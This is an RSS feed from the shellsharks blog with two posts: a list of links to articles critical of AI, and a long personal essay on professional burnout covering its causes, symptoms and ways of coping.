<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="https://shellsharks.com/feeds/feed.xsl" type="text/xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:shark="https://shellsharks.com/feeds/shark-namespace">
  <channel>
    <title>shellsharks Posts</title>
    <description>Writings on infosec, technology and life</description>
    <link>https://shellsharks.com</link>
    <language>en-us</language>
    <managingEditor>mike@shellsharks.com (Shellsharks)</managingEditor>
    <webMaster>mike@shellsharks.com (Shellsharks)</webMaster>
    <atom:link href="https://shellsharks.com/feeds/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Sun, 19 Apr 2026 02:34:56 -0400</pubDate>
    <lastBuildDate>Sun, 19 Apr 2026 02:34:56 -0400</lastBuildDate>
    <image>
      <title>shellsharks Posts</title>
      <url>https://shellsharks.com/assets/img/avatar.png</url>
      <link>https://shellsharks.com</link>
    </image>
    <generator>Jekyll v4.3.4</generator>
    
    
      <item>
        <title>Beep, Boop, Sad 🤖 😞</title>
        <shark:summary><p>“AI” is making me, and a lot of other people sad. This collection of links will give you an idea why…</p>
</shark:summary>
        <description>&lt;p&gt;“AI” is making me, and a lot of other people sad. This collection of links will give you an idea why…&lt;/p&gt;

&lt;p&gt;⚠️ &lt;strong&gt;WARNING&lt;/strong&gt;!: Click on these links at your own peril. They’re likely to make you even more sad.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://jobloss.ai&quot;&gt;AI-Linked Job Losses&lt;/a&gt;: Newly reported layoffs where AI is either explicitly cited or credibly blamed as a material factor.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gizmodo.com/sam-altman-says-intelligence-will-be-a-utility-and-hes-just-the-man-to-collect-the-bills-2000732953&quot;&gt;Sam Altman Says Intelligence Will Be a Utility, and He’s Just the Man to Collect the Bills&lt;/a&gt;: Altman said, “We see a future where intelligence is a utility, like electricity or water, and people buy it from us on a meter.”&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.businessinsider.com/ai-compute-compensation-software-engineers-greg-brockman-2026-3&quot;&gt;Silicon Valley is buzzing about this new idea: AI compute as compensation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tomshardware.com/tech-industry/artificial-intelligence/amazon-calls-engineers-to-address-issues-caused-by-use-of-ai-tools-report-claims-company-says-recent-incidents-had-high-blast-radius-and-were-allegedly-related-to-gen-ai-assisted-changes&quot;&gt;In wake of outage, Amazon calls upon senior engineers to address issues created by ‘Gen-AI assisted changes,’ report claims — recent ‘high blast radius’ incidents stir up changes for code approval&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://codewall.ai/blog/how-we-hacked-mckinseys-ai-platform&quot;&gt;HOW WE HACKED MCKINSEY’S AI PLATFORM&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.grandforksherald.com/news/north-dakota/ai-error-jails-innocent-grandmother-for-months-in-north-dakota-fraud-case&quot;&gt;AI error jails innocent grandmother for months in North Dakota fraud case&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netmeister.org/blog/open-web.html&quot;&gt;The End of the Open Web&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://newrepublic.com/post/207693/palantir-ceo-karp-disrupting-democratic-power&quot;&gt;Palantir CEO Makes Shocking Confession on Disrupting Democratic Power&lt;/a&gt;: Palantir CEO Alex Karp thinks his AI technology will lessen the power of “highly educated, often female voters, who vote mostly Democrat” while increasing the power of working-class men.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.theatlantic.com/podcasts/archive/2025/09/ai-and-the-fight-between-democracy-and-autocracy/684095/&quot;&gt;AI and the Rise of Techno-Fascism in the United States&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://newsocialist.org.uk/transmissions/ai-the-new-aesthetics-of-fascism/&quot;&gt;AI: The New Aesthetics of Fascism&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sightlessscribbles.com/posts/the-colonization-of-confidence/&quot;&gt;The Colonization of Confidence&lt;/a&gt;: Why do LLMs exist? They exist to harm workers. They say it’s to “democratize creativity.” Bullshit. You don’t democratize creativity by automating the act of creation. You democratize it by funding arts education, by supporting libraries, by paying writers a living wage.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://time.com/7295195/ai-chatgpt-google-learning-school/&quot;&gt;ChatGPT May Be Eroding Critical Thinking Skills, According to a New MIT Study&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/research/wp-content/uploads/2025/01/lee_2025_ai_critical_thinking_survey.pdf&quot;&gt;The Impact of Generative AI on Critical Thinking: Self-Reported Reductions in Cognitive Effort and Confidence Effects From a Survey of Knowledge Workers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vice.com/en/article/ai-is-making-us-dumber-shocker/&quot;&gt;AI Is Making Us Dumber. Shocker.&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hbr.org/2026/03/when-using-ai-leads-to-brain-fry&quot;&gt;When Using AI Leads to “Brain Fry”&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://techcrunch.com/2026/03/19/online-bot-traffic-will-exceed-human-traffic-by-2027-cloudflare-ceo-says/&quot;&gt;Online bot traffic will exceed human traffic by 2027, Cloudflare CEO says&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.forbes.com/sites/joetoscano1/2026/03/06/google-just-patented-the-end-of-your-website/&quot;&gt;Google Just Patented The End Of Your Website&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.theregister.com/2026/03/26/github_ai_training_policy_changes/&quot;&gt;GitHub hits CTRL-Z, decides it will train its AI with user data after all&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://notes.zachmanson.com/copilot-edited-an-ad-into-my-pr/&quot;&gt;Copilot Edited an Ad Into My PR&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’ll update this list as articles continue to pour in. Did AI make you sad today? I’m truly sorry about that 😕. Here’s a hug 🤗. Feel free to &lt;a href=&quot;https://shellsharks.com/hello&quot;&gt;send me a note&lt;/a&gt; about it and I can add it to this wall-of-sad.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://pivot-to-ai.com&quot;&gt;Pivot to AI&lt;/a&gt; is also a &lt;s&gt;great&lt;/s&gt; upsetting compendium of such links.&lt;/p&gt;
</description>
        <pubDate>Fri, 13 Mar 2026 10:07:00 -0400</pubDate>
        <link>https://shellsharks.com/ai-wall-of-sad</link>
        <guid isPermaLink="true">https://shellsharks.com/ai-wall-of-sad</guid>
        
        <category>technology</category>
        
        <category>ai</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>Conflagration</title>
        <shark:summary><p>I don’t think I really know when <u><i>it</i></u> happened—the “<strong>burnout</strong>”. It’s not something that happens all at once. Maybe you see it coming, you start to spot the signs. Or, if you’re like me, you don’t know it’s happened until months or <em>years</em> after being mired in the after-effects. I would <em>slip</em>… <em>in</em>… and out, of the conscious realization that I was indeed <em>burned out</em>. There were times I found myself very lucid, entirely aware of how burned out I had become. Through other spans of time I managed to disassociate entirely. <em>How long was I there?</em> I can’t honestly say. The entire lifecycle from burning out, to burned out, to realizing I was burned out, to recovery, is not a straight path, and not one that has some known, or widely-accepted timescale. Come to think of it, I really haven’t seen many accounts of severe burnout. I suppose that’s because those who experience it are likely too burned out to write about it. So, am I back? <em>Hah</em>! It’s not that simple unfortunately. But I <em>am</em> in a place where I feel that I can share my experience.</p>
</shark:summary>
        <description>&lt;p&gt;I don’t think I really know when &lt;u&gt;&lt;i&gt;it&lt;/i&gt;&lt;/u&gt; happened—the “&lt;strong&gt;burnout&lt;/strong&gt;”. It’s not something that happens all at once. Maybe you see it coming, you start to spot the signs. Or, if you’re like me, you don’t know it’s happened until months or &lt;em&gt;years&lt;/em&gt; after being mired in the after-effects. I would &lt;em&gt;slip&lt;/em&gt;… &lt;em&gt;in&lt;/em&gt;… and out, of the conscious realization that I was indeed &lt;em&gt;burned out&lt;/em&gt;. There were times I found myself very lucid, entirely aware of how burned out I had become. Through other spans of time I managed to disassociate entirely. &lt;em&gt;How long was I there?&lt;/em&gt; I can’t honestly say. The entire lifecycle from burning out, to burned out, to realizing I was burned out, to recovery, is not a straight path, and not one that has some known, or widely-accepted timescale. Come to think of it, I really haven’t seen many accounts of severe burnout. I suppose that’s because those who experience it are likely too burned out to write about it. So, am I back? &lt;em&gt;Hah&lt;/em&gt;! It’s not that simple unfortunately. But I &lt;em&gt;am&lt;/em&gt; in a place where I feel that I can share my experience.&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;&lt;u&gt;Notice&lt;/u&gt;: This is a particularly personal accounting of my real-life experience with burnout, and everything that comes with it.&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Look&lt;/em&gt;, I’m not going to lie to you. I haven’t come here to say that I’ve unequivocally “recovered from burnout”. A nasty thing about burnout is that it isn’t some obvious, precipitous decline. It isn’t necessarily marked by some singular, triggering event. What &lt;a href=&quot;#burnout-causes&quot;&gt;causes&lt;/a&gt; burnout from one person to the next is never the exact same, and each of our paths can look wildly different and result in varying levels of burnout—the &lt;a href=&quot;#burnout-symptoms--manifestations&quot;&gt;manifestations&lt;/a&gt; of which can also be quite variegated. Similarly, the path &lt;em&gt;out&lt;/em&gt; is not straightforward. It is not an extrapolatable line upward and outward. &lt;u&gt;This&lt;/u&gt; is an upswing for me, &lt;em&gt;sure&lt;/em&gt;—writing this post. But I’ve been here before. I first thought about and started drafting this post nearly two years ago, around early May of 2024. This too would have been sometime &lt;em&gt;well after&lt;/em&gt; I first realized I was “burnt out”—when I finally had enough energy to even give the notion of writing about it some thought. I can’t point to a day, or to a moment, or to a thing-that-happened and say “that’s when the burnout began”. However, &lt;em&gt;I suspect&lt;/em&gt; that my own case of burnout began accelerating in early 2022, with “full burnout” finally happening in mid 2023 when my daughter was born, at which point I stepped away from it all on leave. I’ve been torched ever since.&lt;/p&gt;

&lt;p&gt;How did it happen? &lt;em&gt;Gah&lt;/em&gt;, I don’t know. There’s any number of things I can point to and say were contributing factors. The pandemic, too much work, not enough recognition at work, friendships lost, parenting stress, stress from the world at large, stretching myself too thin with side projects, the list goes on… We’re all conditioned to work, work, work. Reach higher, stretch into that role, stretch for those goals, get a better title, get more money, post our travel photos online, more, more, more! It’s just kinda… exhausting, &lt;em&gt;y’know&lt;/em&gt;? In those 18 months from early 2022 to July 2023 I was pretty busy. I was in a demanding role at well-known big tech company, I had some side projects going on, I was publishing this blog + my &lt;a href=&quot;https://shellsharks.com/podcast&quot;&gt;podcast&lt;/a&gt;—all while doin’ the parenting thing. I pushed and pushed to do more and more, and did so in a way that was in hindsight, entirely aimless. Yes, I &lt;em&gt;did&lt;/em&gt; a lot of things, but to what end? Were they in pursuit of something specific? Did those things make me happy? When my daughter was born I was just, &lt;strong&gt;tired&lt;/strong&gt;. It was time to step away from the work and focus on those early months with a new baby. Eventually, I came back to work. But I didn’t really come back—not entirely. I had lost the drive and the motivation. Things that once interested me no longer did, and I’m not just talking about work stuff. I wasn’t as active on the blog, a lot of my hobbies just completely died, I was in battery-saving mode—just doing the bare minimum. I did what I &lt;em&gt;had to&lt;/em&gt; at work, I ate, I went to the gym, I played with my kids and I slept. There were other hours in the day, but I’m not sure what I did with them.&lt;/p&gt;

&lt;p&gt;I don’t want to misrepresent things here either. I didn’t spend my days doing “just the essentials”, keeping the lights on, and doing them &lt;em&gt;well&lt;/em&gt;. &lt;em&gt;No, no, no&lt;/em&gt;. In my haze, I’m not sure I did anything with the focus and enthusiasm that it deserved. My time spent at work was unfocused, often unproductive, and from my perspective, entirely meaningless and unfruitful. I got things done sure, but they didn’t seem to matter. No one said “good job”. I never felt accomplished. I could go days, or even a week or more without talking to a single person. I didn’t feel like I was learning &lt;em&gt;anything&lt;/em&gt;. I felt that what I did there didn’t matter. That &lt;em&gt;I&lt;/em&gt; didn’t matter. No one needed me and I had nothing to offer. While I stood alone and still, everyone else seemed busy, effective—happy. I would see proud messages of others in my team and across the company achieving promotions, or completing highly-visible, impactful projects. Sometimes I was jealous, but more often I felt &lt;em&gt;nothing&lt;/em&gt;. I wasn’t inspired, I just continued on. At first it was just a month lost, or a quarter lost. But eventually it became this awful gap. A year or more where I’d been entirely stuck. Even if I could get moving again, look how far I’ve gotten behind.&lt;/p&gt;

&lt;p&gt;My &lt;a href=&quot;https://shellsharks.com/podcast&quot;&gt;podcast&lt;/a&gt; fell to the wayside. My blog lie unupdated and dormant for months at a time, gathering cobwebs. I had aspired to a great many other things in the larger world of “&lt;span class=&quot;shellsharks-com&quot;&gt;shellsharks&lt;/span&gt;”, but I forgot about all of them. I announced &lt;a href=&quot;https://shellsharks.com/sharkweek&quot;&gt;&amp;gt;Shark Week&lt;/a&gt; in multiple years only to completely ignore it when the time came. I never conciously “gave up” on the blog… I just &lt;em&gt;stopped&lt;/em&gt;. This wasn’t a purposeful attempt to reclaim time for work, or for parenting, or for my sanity. I was no longer in the drivers seat. I had simply, unpurposefully, disconnected. Sometimes I would remember it was there. I would think about writing something. Or I would catch up on a few things I wanted to update—breathing a little bit of life into the site. But for a long while, it didn’t amount to more than that. Folks who I came to know through my site, or through social media reached out to me. Wondering where I had gone. Wondering if I was &lt;em&gt;OK&lt;/em&gt;. Eventually I saw the messages. I let them know that I was &lt;em&gt;&lt;a href=&quot;https://shellsharks.com/notes/2025/06/23/its-a-lot-of-things&quot;&gt;fine&lt;/a&gt;&lt;/em&gt;. Things were just busy. This was true. But it wasn’t the entire truth.&lt;/p&gt;

&lt;p&gt;Even as a parent, and a full-time job-haver, I still have hobbies. Or I &lt;em&gt;did&lt;/em&gt;. Through these darker days I still tried to go to the gym… but those sessions never got my full focus. I had projects in the yard, or around the house, but I never really got to them. If there’s anything that I managed to still be kinda “good” at, it was playing with and having fun with my kids. But even while doing that, I still often worried about work, never being able to fully be happy in the moment. Too often I sacrificed time I should have spent with my wife or family because I felt guilty about work. Then at work I felt circularly miserable about a perceived degraded home life. &lt;em&gt;Vicious&lt;/em&gt;, some say.&lt;/p&gt;

&lt;p&gt;That feeling of being behind on things, of feeling unfocused, of feeling unneeded, of feeling unimportant, bled into every corner of my life. I wasn’t just useless at work. I also started to see myself fail at home—and forget about my friendships, these had seemingly entirely disintegrated. I felt at this point, universally alone.&lt;/p&gt;

&lt;p&gt;Burnout is one of those things that you try to shrug off. Everyone is burned out right? Everyone has any number of things stressing them out at any one time. Sure I may feel “burned out”, but it isn’t anything especially problematic! I found myself routinely ignoring or trivializing these feelings. I chalked them up to the routine stresses of the world, rather than fully appreciating the gravity of the state I was in. Because the difference between chronic burnout and run-of-the-mill stress is that with burnout you just can’t find your way back to a healthy “normal”. You stay unproductive and uneffective. It takes a more concerted effort to pull yourself out of the rut.&lt;/p&gt;

&lt;p&gt;You see, I knew I was “burned out”, and looking back now, it’s easy to see I had become depressed too, thanks in part to the burnout. Some days I would manage to pop my head above the clouds with proclamations of how I was going to “get serious”, or “lock in”, or some other way of crawling out of this quagmire. But as some of my friends and family can attest, those words were either empty or simply did not provide adequate propulsion. I fell right back into the bad habits—that same fog. In some ways, I’m still trying to really understand what I &lt;em&gt;want&lt;/em&gt;. I think having a clear idea of what you want is key. Only then can you try and reverse engineer the steps to get there, prioritize, and make time for everything. As it turns out, there’s just not enough time in the day for everything. Compromises, or full-on sacrifices have to be made. This is the reality.&lt;/p&gt;

&lt;p&gt;So am I through it now? Am I &lt;em&gt;OK&lt;/em&gt;? Am I no longer “burned out”. I don’t know. Probably not. I’ve been &lt;em&gt;kinda&lt;/em&gt; here before to tell you the truth—“seeing the light”. I have clearer vision these days I’ll give you that. My hobbies have started to return, my outlook on work has improved dramatically, I’m using my time much more effectively. I think I’m &lt;em&gt;happier&lt;/em&gt; these days. But it’s easy to slip back. I try to catch myself, to right the ship and to stay on course, but some days it seems the margin for error is just too thin. To lose a day in pursuit of &lt;u&gt;everything&lt;/u&gt; is to knock myself off track indefinitely. But I remind myself that I don’t need to be perfect. I don’t need to operate at 100% efficiency. I need to understand my goals and work towards them, and not be discouraged when I falter. Success is a grind—a lot of little steps that in aggregate move us to a target destination. A step backwards, or a rest day doesn’t mean I’m back at the beginning.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Oh&lt;/em&gt;, and as if &lt;em&gt;burnout&lt;/em&gt; alone wasn’t enough, there’s a lot of other &lt;a href=&quot;#demonology-for-the-professional-world&quot;&gt;career-related blights&lt;/a&gt; I (and I’m sure many readers of this post) experience—often manifesting into a devilish syzygy of occupational dilemmas. Let me talk about those for a minute too…&lt;/p&gt;

&lt;h2 id=&quot;demonology-for-the-professional-world&quot;&gt;Demonology for the Professional World&lt;/h2&gt;

&lt;p&gt;There’s more to the fiendish nature of our “careers” than &lt;em&gt;burnout&lt;/em&gt; alone. We the workers, tend to be plagued and posessed by a great many evils. Consider the list below a &lt;a href=&quot;https://en.wikipedia.org/wiki/Classification_of_demons#Lanterne_of_Light&quot;&gt;Lanterne of Light&lt;/a&gt;—traditionally a classification system for (&lt;em&gt;actual&lt;/em&gt;) demons, but in this context, the hellions of the working world.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;#burnout&quot;&gt;Burnout&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Impostor Syndrome&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Climbing the Ladder&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Professional Vitality&lt;/em&gt; (i.e. boredom, finding interesting work)&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Finding Meaning/Purpose&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Maintaining Relevance &amp;amp; Skill Erosion&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Isolation&lt;/em&gt; (e.g. remote work)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I’m sure there are more items to include on this list, but these are the ones I’ve observed most, at least in my own career history.&lt;/p&gt;

&lt;p&gt;For now, this post will be limited to &lt;a href=&quot;#&quot;&gt;my experience&lt;/a&gt; with &lt;em&gt;burnout&lt;/em&gt; alone. Perhaps one day I’ll expand it with tales of other such things, or maybe they’ll end up as separate posts sometime in the future. The fact is, everything in that list can contribute to burnout, and in turn, burnout and other things on that list can equally contribute to impostor syndrome. See where I’m going with this? That cursed list of professional afflictions can all feed into each other. So be weary!&lt;/p&gt;

&lt;h3 id=&quot;burnout&quot;&gt;Burnout&lt;/h3&gt;

&lt;p&gt;I told &lt;a href=&quot;#&quot;&gt;my story&lt;/a&gt; about burnout at the beginning of this post. Here, I want to be a bit more technical/scientific in terms of defining what &lt;strong&gt;burnout&lt;/strong&gt; is, what causes it, how it manifests and how to mitigate or address it.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“Burnout is a syndrome conceptualized as resulting from chronic stress that has not been successfully managed. It is characterized by three dimensions: 1) feelings of energy depletion or exhaustion; 2) increased mental distance from one’s job, or feelings of negativism or cynicism related to one’s job; and 3) a sense of ineffectiveness and lack of accomplishment.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Burnout is interesting, and scary. A lot of things can cause it, it can be hard to see it happening in real-time, and it’s even hard to tell if you’ve reached some form of final-stage “burn out”. &lt;em&gt;Like&lt;/em&gt;, what does that even mean? How burnout can manifest itself, the symptoms themselves, can easily be attributed to other things, non-burnout related. How one experiences it, and what effects they experience can vary greatly from person to person. Similarly, treating, or recovering from burnout is not a known science. Some even suggest that you might &lt;a href=&quot;https://drdevonprice.substack.com/p/you-might-not-recover-from-burnout&quot;&gt;never recover from burnout&lt;/a&gt;. So much about how you treat it, can probably be mapped to how it happened in the first place, which again is hard to understand as burnout tends to creep up on you slowly, over a great span of time.&lt;/p&gt;

&lt;h6 id=&quot;burnout-causes&quot;&gt;Burnout Causes&lt;/h6&gt;

&lt;p&gt;There’s a lot of things that can trigger or ultimately contribute to “burnout”. Here’s a list… &lt;sup&gt;&lt;a href=&quot;https://osdfir.blogspot.com/2024/11/about-burnout-in-cybersecurity.html&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://mastodon.social/@HuShuo/113351141476780306&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Unclear mission &amp;amp; expectations&lt;/li&gt;
  &lt;li&gt;Lack of control&lt;/li&gt;
  &lt;li&gt;Opaque management&lt;/li&gt;
  &lt;li&gt;Resource starvation&lt;/li&gt;
  &lt;li&gt;Lack of agency / autonomy&lt;/li&gt;
  &lt;li&gt;Overwhelming scope&lt;/li&gt;
  &lt;li&gt;(Lack of) job security&lt;/li&gt;
  &lt;li&gt;Long hours&lt;/li&gt;
  &lt;li&gt;Dwindling pay&lt;/li&gt;
  &lt;li&gt;Lack of recognition or reward&lt;/li&gt;
  &lt;li&gt;Excessive workload&lt;/li&gt;
  &lt;li&gt;No sense of community, kinship or camaraderie&lt;/li&gt;
  &lt;li&gt;False urgency&lt;/li&gt;
  &lt;li&gt;Unfair treatment&lt;/li&gt;
  &lt;li&gt;Relentless change&lt;/li&gt;
  &lt;li&gt;Limited growth&lt;/li&gt;
  &lt;li&gt;No work / life balance&lt;/li&gt;
  &lt;li&gt;Micromanagement&lt;/li&gt;
  &lt;li&gt;Performance pressure&lt;/li&gt;
  &lt;li&gt;Toxicity&lt;/li&gt;
  &lt;li&gt;Lack of support&lt;/li&gt;
  &lt;li&gt;Bad communication&lt;/li&gt;
  &lt;li&gt;Monotonous work&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There’s more to this list to be sure, but that’s a lot already.&lt;/p&gt;

&lt;h6 id=&quot;burnout-symptoms--manifestations&quot;&gt;Burnout Symptoms &amp;amp; Manifestations&lt;/h6&gt;

&lt;p&gt;Burnout manifests itself in a myriad of ways. Each person will experience it differently and at varying levels of severity. Some things you might experience are listed below… &lt;sup&gt;&lt;a href=&quot;https://drdevonprice.substack.com/p/you-might-not-recover-from-burnout&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Exhaustion&lt;/li&gt;
  &lt;li&gt;Activities, particularly social ones, drain you faster than usual&lt;/li&gt;
  &lt;li&gt;More venting / complaining&lt;/li&gt;
  &lt;li&gt;Hopelessness&lt;/li&gt;
  &lt;li&gt;Demotivation&lt;/li&gt;
  &lt;li&gt;Disengagement&lt;/li&gt;
  &lt;li&gt;Over-sleep&lt;/li&gt;
  &lt;li&gt;Feeling of never being inspired&lt;/li&gt;
  &lt;li&gt;Craving to work on projects but can’t&lt;/li&gt;
  &lt;li&gt;Stress&lt;/li&gt;
  &lt;li&gt;Depression&lt;/li&gt;
  &lt;li&gt;Laziness&lt;/li&gt;
  &lt;li&gt;Depersonalization (i.e. loss of sense of self)&lt;/li&gt;
  &lt;li&gt;Physical health issues (e.g. gastrointestinal, cognitive decline, heart palpitations, pain, etc…)&lt;/li&gt;
  &lt;li&gt;Guilt&lt;/li&gt;
  &lt;li&gt;Job switching&lt;/li&gt;
  &lt;li&gt;Procrastination&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;treating-and-mitigating-burnout&quot;&gt;Treating and Mitigating Burnout&lt;/h6&gt;

&lt;p&gt;Probably the least understood thing about burnout is how to &lt;em&gt;actually&lt;/em&gt; recover from or treat it. Sustained &lt;a href=&quot;#burnout-causes&quot;&gt;triggers&lt;/a&gt; are simply not easy to reverse and not easy to do a root cause analysis for. And even if you could identify everything that ultimately led to being burned out, is it realistic to expect that each of these things can be removed? How do we treat burnout while often having to continue being exposed to some subset of the same triggers that caused it in the first place?&lt;/p&gt;

&lt;p&gt;One study attributed burnout, and in reverse, treating burnout to 6 main sources: &lt;em&gt;workload&lt;/em&gt;, &lt;em&gt;values&lt;/em&gt;, &lt;em&gt;reward&lt;/em&gt;, &lt;em&gt;control&lt;/em&gt;, &lt;em&gt;fairness&lt;/em&gt;, and &lt;em&gt;community&lt;/em&gt;. Another study suggested a framework known as “&lt;em&gt;I Believe, I Belong, I Matter&lt;/em&gt;” as a path towards avoiding burnout. &lt;sup&gt;&lt;a href=&quot;https://www.darkreading.com/vulnerabilities-threats/defining-defying-cybersecurity-staff-burnout&quot;&gt;4&lt;/a&gt;, &lt;a href=&quot;https://www.darkreading.com/cybersecurity-careers/persistent-burnout-is-still-a-crisis-in-cybersecurity&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;p&gt;In both cases, we are directly treating the initial triggers or feelings-caused by said triggers. I don’t know what works. I think these things all sound great, but what &lt;em&gt;actually&lt;/em&gt; works—who knows.&lt;/p&gt;

&lt;p&gt;I think &lt;strong&gt;time&lt;/strong&gt; is important. Sometimes you just need to step away. But time alone isn’t enough. I for example spent quite a bit of time away. Sure, I wasn’t able to completely shield myself from the burnout triggers, so maybe that time away wasn’t “pure” in the recovery sense, but I feel like the time I had was as good as anyone can really expect. Afterall, if you’re a parent, or if you live in the real world, it’s just not overly practical to step away from your kids, or from your job, etc…&lt;/p&gt;

&lt;p&gt;An important step is (and I mentioned this earlier) to think about and solidify &lt;em&gt;what matters&lt;/em&gt; to you. What makes you happy? What do you really want to accomplish? Once you have this down, you can start to put together some semblance of a plan for getting there. Your goals need to be the composite of tasks that are realistic and actionable which amount to achieving said goals. You also need to give yourself room to fail, so you won’t be entirely discouraged if you aren’t perfect. Because you won’t be. You’ll &lt;u&gt;never be&lt;/u&gt;—&lt;strong&gt;and thats OK&lt;/strong&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;the-way-forward&quot;&gt;The Way Forward&lt;/h1&gt;

&lt;p&gt;So what’s next? Well I’m still working on climbing out of the burnout hole. I have some ideas for how to &lt;a href=&quot;https://shellsharks.com/captains-log/2026/02/26/log#career&quot;&gt;kickstart myself professionally&lt;/a&gt;, and I am working on a more defined plan for the other things in my life. It’s not going to be a straight shot up and out, and burnout isn’t something you “defeat”. It’s something you manage. I’ve seen how it can &lt;a href=&quot;#burnout-symptoms--manifestations&quot;&gt;manifest&lt;/a&gt;, I understand some of my &lt;a href=&quot;#burnout-causes&quot;&gt;triggers&lt;/a&gt;, and I know a few things that can help me &lt;a href=&quot;#treating-and-mitigating-burnout&quot;&gt;treat&lt;/a&gt; and mitigate it. That’s enough for now.&lt;/p&gt;

&lt;p&gt;Thanks for reading. Take care of yourself out there!&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;references--resources&quot;&gt;References &amp;amp; Resources&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://osdfir.blogspot.com/2024/11/about-burnout-in-cybersecurity.html&quot;&gt;About Burnout in Cybersecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mastodon.social/@HuShuo/113351141476780306&quot;&gt;Actual Causes of Burnout&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eric.mann.blog/burnout-prevention-through-strategic-reassignment/&quot;&gt;Burnout Prevention Through Strategic Reassignment&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://melanie-richards.com/blog/impostor-syndrome/&quot;&gt;Coping with impostor syndrome&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.darkreading.com/vulnerabilities-threats/defining-defying-cybersecurity-staff-burnout&quot;&gt;Defining &amp;amp; Defying Cybersecurity Staff Burnout&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.dutchnews.nl/2025/07/experts-urge-rethink-of-burn-out-diagnosis-in-the-netherlands/&quot;&gt;Experts urge rethink of burn-out diagnosis in the Netherlands&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://managinginthemargins.com/letter-to-an-insecurity-engineer-8478670fef9c&quot;&gt;Letter to an Insecurity Engineer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tcm-sec.com/overcoming-imposter-syndrome/&quot;&gt;Overcoming Imposter Syndrome&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.darkreading.com/cybersecurity-careers/persistent-burnout-is-still-a-crisis-in-cybersecurity&quot;&gt;Persistent Burnout Is Still a Crisis in Cybersecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=4XGbbrBudKM&quot;&gt;Preventing and Recovering From Burnout&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://unionize.fyi&quot;&gt;The Burnout Machine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://notashelf.dev/posts/curse-of-knowing&quot;&gt;The Curse of Knowing How, or; Fixing Everything&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.databreachtoday.com/blogs/understanding-imposter-syndrome-in-technology-sector-p-3624&quot;&gt;Understanding Imposter Syndrome in the Technology Sector&lt;/a&gt;&lt;/li&gt;
